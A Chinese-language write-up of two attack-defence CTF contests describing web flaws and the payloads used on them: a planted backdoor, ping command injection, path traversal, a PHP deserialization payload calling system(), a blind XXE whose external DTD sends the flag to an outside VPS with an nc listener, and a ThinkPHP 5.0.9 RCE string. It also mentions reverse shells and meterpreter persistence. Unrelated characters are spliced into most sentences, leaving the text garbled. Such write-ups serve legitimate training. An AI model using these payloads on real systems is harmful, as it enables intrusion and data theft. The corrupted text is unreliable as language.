感謝星盟安全團(tuán)隊(duì)的邀請(qǐng)频轿!
2.9
2月9號(hào)星盟安全團(tuán)隊(duì)舉辦的線上AWD,三道Web題堰酿,兩道pwn題掩浙。又學(xué)到了很多新姿勢(shì)。
記錄下三道Web題中我們發(fā)現(xiàn)的漏洞和做題過(guò)程鲤脏。
Web1
上D盾:
test.php
中的預(yù)置后門(mén):
趕緊刪文件们颜,寫(xiě)個(gè)腳本批量打吕朵。
payload:http://39.100.119.37:10480/test.php?out=cat /flag
shell()函數(shù)的命令執(zhí)行漏洞
在admin/func.php
中存在有漏洞的shell
函數(shù):
如何快速發(fā)現(xiàn)哪個(gè)文件調(diào)用了shell函數(shù)?
熟悉代碼審計(jì)的師傅應(yīng)該知道ctags
和在文件夾中搜索
這兩個(gè)功能窥突。
-
ctags
就是定位被調(diào)用函數(shù)的定義文件:這樣就能快速找到定義這個(gè)函數(shù)的文件所在行努溃。
-
在文件夾中搜索
是一般編輯器都有的功能我使用
sublime
,在文件夾中搜索shell
阻问,很快就發(fā)現(xiàn)在哪處調(diào)用了該函數(shù)
利用該漏洞需要先登錄后臺(tái)
后臺(tái)登錄賬號(hào)密碼:admin111
:admin111
payload:?shell&out=127.0.0.1;cat /flag
修復(fù)方案:過(guò)濾out參數(shù)梧税,如果其含有flag字樣,直接exit();
(這樣不嚴(yán)謹(jǐn)称近,但當(dāng)時(shí)時(shí)間緊迫第队,先這樣處理)
更好的修復(fù)方案,shell完成的功能是ping
命令刨秆,那么我們就使用正則來(lái)過(guò)濾輸入的參數(shù)是否是正常的域名或者IP
if (preg_match('/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-z0-9A-Z][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/', $target))
Web2
假的預(yù)置后門(mén)
同Web1一樣凳谦,在網(wǎng)站根目錄下有一個(gè)test.php
的假后門(mén)
一開(kāi)始D盾掃到還挺興奮的,但利用起來(lái)完全沒(méi)作用
源碼中已經(jīng)輸出了$_
衡未、$__
尸执、$___
的值,跟注釋中的$_='assert';
完全不一樣缓醋,大概就是出題人皮了一下如失。
pass掉。
目錄跳轉(zhuǎn)漏洞
admin/grade.php
中送粱,接收文件名褪贵,并將文件內(nèi)容輸出到瀏覽器
payload:http://39.100.119.37:21680/admin/grade.php?file=../../../../flag
修復(fù)方案:正則匹配..
,防止目錄遍歷
反序列化
login/logout.php
比較簡(jiǎn)單的反序列化利用
payload:O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:15:"system('cat /flag');";}
修復(fù)方案:多余的操作抗俄,直接刪除unserialize($_POST['un']);
Web3
Web3的MySQL服務(wù)一直有問(wèn)題脆丁,直到比賽結(jié)束前半個(gè)小時(shí)才恢復(fù)。
盲XXE
loginCheck.php
登錄是通過(guò)XML傳遞username
和password
參數(shù)橄镜,而傳遞的xml我們可控偎快,沒(méi)有回顯冯乘,盲XXE讀取文件洽胶。
XML:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://47.112.16.34/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>aaa</message>
外部DTD
文件:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://47.112.16.34:1337/?%file;'>">
%start;
在VPS上監(jiān)聽(tīng) nc -lp 1337 -vv
抓包請(qǐng)求:
VPS接收到請(qǐng)求:
關(guān)于盲XXE更多參考學(xué)習(xí):https://www.freebuf.com/vuls/207639.html
總結(jié)
賽后在群里看了下其他師傅分享的思路,不得不服裆馒,被騷到了姊氓。。最重要的還是權(quán)限維持喷好。
騷思路:
建立軟鏈接文件
到/flag
還有發(fā)現(xiàn)平臺(tái)漏洞翔横,拿到所有主機(jī)的登錄密碼:
太強(qiáng)了,向師傅們學(xué)習(xí)梗搅!
3.14
特別感謝星盟安全團(tuán)隊(duì)3月的AWD邀請(qǐng)賽禾唁!
這次我們團(tuán)隊(duì)有幾個(gè)選手因?yàn)橛惺碌⒄`了效览,沒(méi)有參加,導(dǎo)致我們?nèi)耸植惶珘虻炊獭:竺姝h(huán)境也出現(xiàn)了不同程度的問(wèn)題:環(huán)境經(jīng)常崩丐枉、無(wú)法重置容器等。不過(guò)還是特別感謝星盟安全團(tuán)隊(duì)掘托,辛苦運(yùn)維小哥們了瘦锹!
Web2
Web2是最先開(kāi)放環(huán)境的
前期準(zhǔn)備
拷貝源碼到本地 -> 上日志監(jiān)控腳本 -> 上文件監(jiān)控腳本等等
login.php
直接訪問(wèn)login.php
,左下角就存在flag
登錄login.php
很多隊(duì)伍沒(méi)有修改默認(rèn)登錄賬號(hào)密碼闪盔,導(dǎo)致默認(rèn)登錄后拿到flag
主要就是這兩個(gè)洞在這刷弯院,由于今天人手不太夠,也沒(méi)有怎么維持權(quán)限泪掀。
Web3
Web3的洞挺多的听绳,就是環(huán)境問(wèn)題導(dǎo)致幾個(gè)洞用不了,也可能是我們操作不當(dāng)异赫。
readme
首先前期準(zhǔn)備工作做好辫红,源碼拷貝下來(lái)后發(fā)現(xiàn)存在readme.md
,我還以為是在GitHub上下載的某個(gè)cms祝辣,就沒(méi)有打開(kāi)這個(gè)readme
贴妻。后來(lái)D盾掃到了這個(gè)文件存在危險(xiǎn)函數(shù),一看蝙斜,一句話木馬名惩。。
傻傻的還以為要尋找文件包含漏洞孕荠,要是找到了文件包含娩鹉,這個(gè)文件也早被刪了。稚伍。知道看到.htaccess
的內(nèi)容弯予,原來(lái)可以直接用!趕緊刷一波(很快就沒(méi)了)
命令執(zhí)行 反序列化
common
目錄中的function.php
先把自己的洞給修了个曙,采用正則來(lái)匹配輸入的是否是合法的IP/域名:
if (preg_match('/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-z0-9A-Z][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/', $target))
結(jié)果去利用別人的洞的時(shí)候锈嫩,發(fā)現(xiàn)怎么使都不成功,試了很多隊(duì)伍垦搬,一致以為是環(huán)境問(wèn)題導(dǎo)致的PHP腳本沒(méi)有正常執(zhí)行呼寸。。
同目錄下 home.php
中存在反序列化漏洞猴贰。感覺(jué)和上次(2月)的題目很像啊对雪。。
Web1
Web1是黑盒測(cè)試米绕,比賽大概進(jìn)行了半個(gè)小時(shí)放出Web1的環(huán)境瑟捣。
一上來(lái)隨便一測(cè)馋艺,就是個(gè)TP環(huán)境,報(bào)錯(cuò)看下TP版本:5.0.9
迈套,直接RCE:
?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=more%20/flag
一開(kāi)始試的cat /flag
丈钙,好像返回結(jié)果有點(diǎn)問(wèn)題,就換成了more
交汤。
當(dāng)時(shí)沒(méi)有怎么想著維持權(quán)限雏赦,只是反彈一個(gè)自己團(tuán)隊(duì)shell,把洞給修了芙扎。
下次遇到這種黑盒的星岗,就直接拿到所有隊(duì)伍的meterpreter shell
,放在后臺(tái)戒洼,這樣維權(quán)比較方便長(zhǎng)久俏橘。(希望不會(huì)卡。圈浇。)
后來(lái)莫名訪問(wèn)量.config.php
寥掐,沒(méi)想到直接騎上別人的馬了,同網(wǎng)站根目錄下的jquery.min.js
一樣磷蜀,這兩個(gè)都是軟鏈接文件召耘,鏈接到/flag
。
總結(jié)
這次的比賽準(zhǔn)備的挺充足的褐隆,賽前我也調(diào)試過(guò)幾個(gè)通防腳本污它。只不過(guò)有些腳本的作用還是沒(méi)有充分發(fā)揮。
比賽人手不夠也導(dǎo)致很被動(dòng)庶弃,衫贬,
總之,很感謝星盟安全團(tuán)隊(duì)這次鍛煉的機(jī)會(huì)歇攻!我們還需要更加努力固惯。